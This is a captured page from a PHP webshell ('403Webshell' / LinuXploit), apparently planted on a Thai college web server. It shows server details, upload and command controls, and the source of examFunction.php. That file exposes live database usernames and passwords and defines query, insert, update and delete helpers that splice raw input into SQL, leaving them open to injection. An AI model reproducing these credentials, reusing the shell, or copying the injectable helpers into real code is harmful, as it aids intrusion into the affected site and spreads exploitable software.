403Webshell
Server IP : 202.29.229.35  /  Your IP : 3.147.103.157
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/stdcard/connect/systemDb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/stdcard/connect/systemDb/examFunction.php
<?php
	function connect_db(){
		$hostname = "localhost";
		$user = "root";
		$psw = "1234";
		$dbname = "lbtechadmisdb";
	/*
		$hostname = "localhost";
		$user = "ency_db";
		$psw = "ency9000";
		$dbname = "ency_db";
	*/
		$conn = mysql_connect($hostname,$user,$psw) or die("เชื่อมต่อเครือข่ายไม่ได้");
		//mysql_query('SET NAMES tis620');
		mysql_query('SET NAMES UTF8');
		mysql_select_db($dbname) or die("ไม่มีฐานข้อมูลนี้");
	}
	
	//	  ฟังก์ชันสำหรับคิวรี่คำสั่ง sql
	function query($sql){
	  if(@mysql_query($sql)) { return true; } 
	  else { die("SQL Error: <br>".$sql."<br>".mysql_error()); return false; }
	}
	
	/*ฟังก์ชัน select ข้อมูลในฐานข้อมูลมาแสดง
	 โดยจะต้องส่งพารามิเตอร์ 4 ตัว คือ ชื่อตาราง, ชื่อฟิลด์, เงื่อนไข และ การเรียงลำดับ
	*/
	function select($tblname, $fields, $condition){
	  $result=array();
	  $sql = "select".$fields." from ".$tblname;
	  $sql  = $sql.$condition;
	  $req =@mysql_query($sql) or die("SQL Error: <br>".$sql."<br>".mysql_error());
	  while($data=@mysql_fetch_assoc($req)) {
		$result[]=$data;
	  }
	  return $result;	
	}
	
	//    ฟังก์ชันสำหรับการ insert ข้อมูล
	function insert($table,$data){
	  $fields=""; $values="";
	  $i=1;
	  foreach($data as $key=>$val){
		if($i!=1) { $fields.=", "; $values.=", "; }
		$fields.="$key";
		$values.="'$val'";
		$i++;
	  }
	  $sql = "INSERT INTO $table ($fields) VALUES ($values)";
	  if(@mysql_query($sql)) { return true; } 
	  else { die("SQL Error: <br>".$sql."<br>".mysql_error()); return false;}
	}
	
	
	//    ฟังก์ชันสำหรับการ update ข้อมูล
	function update($table,$data,$where){
	  $modifs="";
	  $i=1;
	  foreach($data as $key=>$val) {
		if($i!=1){ $modifs.=", "; }
		if(is_numeric($val)) { $modifs.=$key.'='.$val; }
		else { $modifs.=$key.' = "'.$val.'"'; }
		$i++;
	  }
	  $sql = ("UPDATE $table SET $modifs WHERE $where");
	  if(@mysql_query($sql)) { return true; } 
	  else { die("SQL Error: <br>".$sql."<br>".mysql_error()); return false; }
	}
	//    ฟังก์ชันสำหรับการ delete ข้อมูล
	function delete($table, $where){
	  $sql = "DELETE FROM $table WHERE $where";
	  if(@mysql_query($sql)) { return true; } 
	  else { die("SQL Error: <br>".$sql."<br>".mysql_error()); return false; }
	}
	//    ฟังก์ชันสำหรับแสดงรายการฟิลด์ในตาราง
	function listfield($table){
		$req=@mysql_query("SELECT * FROM $table");
		$numberfields =@mysql_num_fields($req);
		$row_title="\$data=array(<br/>";
		for($i=0; $i<$numberfields ; $i++ ) {
			   $var=@mysql_field_name($req, $i);
			   $row_title.="\"$var\"=>\"value$i\",<br/>";
		}
		$row_title.=");<br/>";
		echo $row_title;
	}
	// ฟังก์ชันสำหรับแสดงการ alert
	echo "<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />";
	function alertJava($content){
		echo "<script language='javascript'>alert('$content')</script>";
	}
	// ฟังก์ชันสำหรับแสดงการ alert
	function pageRefresh($time, $url){
		echo "<meta http-equiv=\"refresh\" content=\"$time;url=$url\">";
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit